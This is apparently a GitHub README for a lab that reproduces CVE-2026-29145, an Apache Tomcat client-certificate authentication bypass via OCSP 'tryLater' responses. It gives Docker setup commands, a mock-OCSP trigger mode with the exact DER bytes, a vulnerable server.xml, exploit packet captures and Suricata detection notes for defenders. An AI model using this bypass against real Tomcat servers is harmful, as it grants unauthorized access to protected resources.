CVE-2026-29145 Everything

Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass complete reproduction environment, exploit traffic captures, and Suricata detection rule writing materials.

For authorized security research and detection rule development only. Do not use on unauthorized systems.

Vulnerability Summary

Item	Description
CVE	CVE-2026-29145
Component	Apache Tomcat / Tomcat Native
Type	Authentication bypass (mTLS / CLIENT_CERT)
CVSS	9.1 (NVD) / Moderate (Apache)
Affected versions	Tomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13, etc.
Fixed versions	Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+

Vulnerability Details

When Tomcat has CLIENT_CERT and OCSP enabled, with ocspSoftFail=false (hard fail) configured, some OCSP failure paths, especially the response status tryLater, are still not handled as hard failures, causing client certificates that should have been rejected to be accepted, allowing access to protected resources.

The official fix (e.g., Tomcat commit fe26667c) aligns the FFM path's handling of OCSP TRY_LATER with Tomcat Native.

Test Results from This Repository

On Tomcat 10.1.52 + Tomcat Native 2.0.12:

Key point: The OCSP response must return RFC 6960's tryLater; HTTP 500 alone is not sufficient to trigger the bypass in this environment.

Repository Contents

CVE-2026-29145-Everything/
├── README.md                 # This file
├── REPRODUCTION.md           # Detailed reproduction notes and Suricata tips
├── docker-compose.yml        # Vulnerable Tomcat + Mock OCSP
├── poc_exploit.py            # Exploit/testing script (exit 10 = vulnerable)
├── simple_proxy_fail.py      # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh            # Generate CA / server / client certificates (with OCSP AIA)
├── capture_exploit.sh        # One-click exploit and packet capture
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # CLIENT-CERT user mapping
│   ├── ROOT/                 # Minimal patch for official default ROOT
│   └── protected/            # Protected resource + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ Captured exploit traffic (for rule writing)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # Main packet: mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # OCSP cleartext only
    ├── CVE-2026-29145-mtls-only.pcap       # 8443 TLS only
    └── exploit_response.html               # Successful exploit response snapshot

The certificate private key directory certs/ is ignored by .gitignore by default; it must be generated locally.

Quick Start

Prerequisites

Docker / Docker Compose
OpenSSL
Python 3.7+ (pip install -r requirements.txt or system python3-requests)
tcpdump (optional, for packet capture)

One-Click Reproduction

git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. Generate certificates (AIA points to Docker internal OCSP service name)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. Start the environment (default OCSP_MODE=try_later)
docker compose up -d
# Wait for healthy
docker compose ps

# 3. Run the PoC
python3 poc_exploit.py
# Expected output:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# Exit code 10 = vulnerable; 0 = not exploitable / patched

Manual verification:

curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

Packet Capture (Save Traffic)

./capture_exploit.sh
# Output to pcaps/CVE-2026-29145-*.pcap

A successful exploit pcap is already included in the repository and can be used directly for Suricata rule validation without re-capturing.

OCSP Mock Modes

# tryLater — CVE trigger path (default)
OCSP_MODE=try_later docker compose up -d --force-recreate

# HTTP 500 failure (hard failure will reject in this environment)
OCSP_MODE=fail docker compose up -d --force-recreate

# Simulate OCSP success (body is not real DER, only connectivity test)
OCSP_MODE=succeed docker compose up -d --force-recreate

# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate

Traffic Characteristics (Suricata Material)

Important: Port 8443 is TLS 1.3 encrypted mTLS; opening it directly in Wireshark will look like gibberish.
Port 8888 (OCSP) is cleartext HTTP; rules should prioritize OCSP.
Full details in pcaps/README.md.

Recommended Files

OCSP Cleartext (Matchable Online)

POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

Decrypted Business HTTP (Requires sslkeys.log)

GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

Detailed instructions in REPRODUCTION.md and pcaps/README.md.

Configuration Highlights (Vulnerable server.xml)

<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

Application-level CLIENT-CERT configuration can be found in tomcat/protected/WEB-INF/web.xml.

Remediation Recommendations

Upgrade Tomcat to 10.1.53+ (or the corresponding fixed version line)
Simultaneously upgrade Tomcat Native to 2.0.14+
Review the ocspSoftFail policy and OCSP reachability; perform regression tests on unreachable/tryLater behavior

Cleanup

./cleanup.sh
# or
docker compose down -v

References

Apache Tomcat 10 Security — CVE-2026-29145
NVD CVE-2026-29145
RFC 6960 OCSP
Upstream PoC skeleton: CVE-2026-29145-Tester (this repository has hardened and fully documented the reproducible configuration and tryLater path)

Disclaimer

This project is intended solely for education, authorized penetration testing, and intrusion detection rule development. Users must ensure they have legal authorization for the target system. The authors are not responsible for any misuse.

DER `tryLater` (`30 03 0a 01 03`)	false	HTTP 200 — bypass successful
HTTP 500	false	TLS rejection (hard fail effective)
OCSP timeout	false	TLS rejection
Any failure	true	200 (expected soft-fail)

`pcaps/CVE-2026-29145-with-keys.pcap` + `pcaps/sslkeys.log`	Decrypted full session
`pcaps/CVE-2026-29145-ocsp-only.pcap`	Cleartext OCSP (no keys needed)
`pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt`	OCSP HTTP in readable text
`pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt`	Decrypted business HTTP text
`rules/cve-2026-29145.rules`	Example Suricata rules

Most Popular

CVE-2026-29145-Everything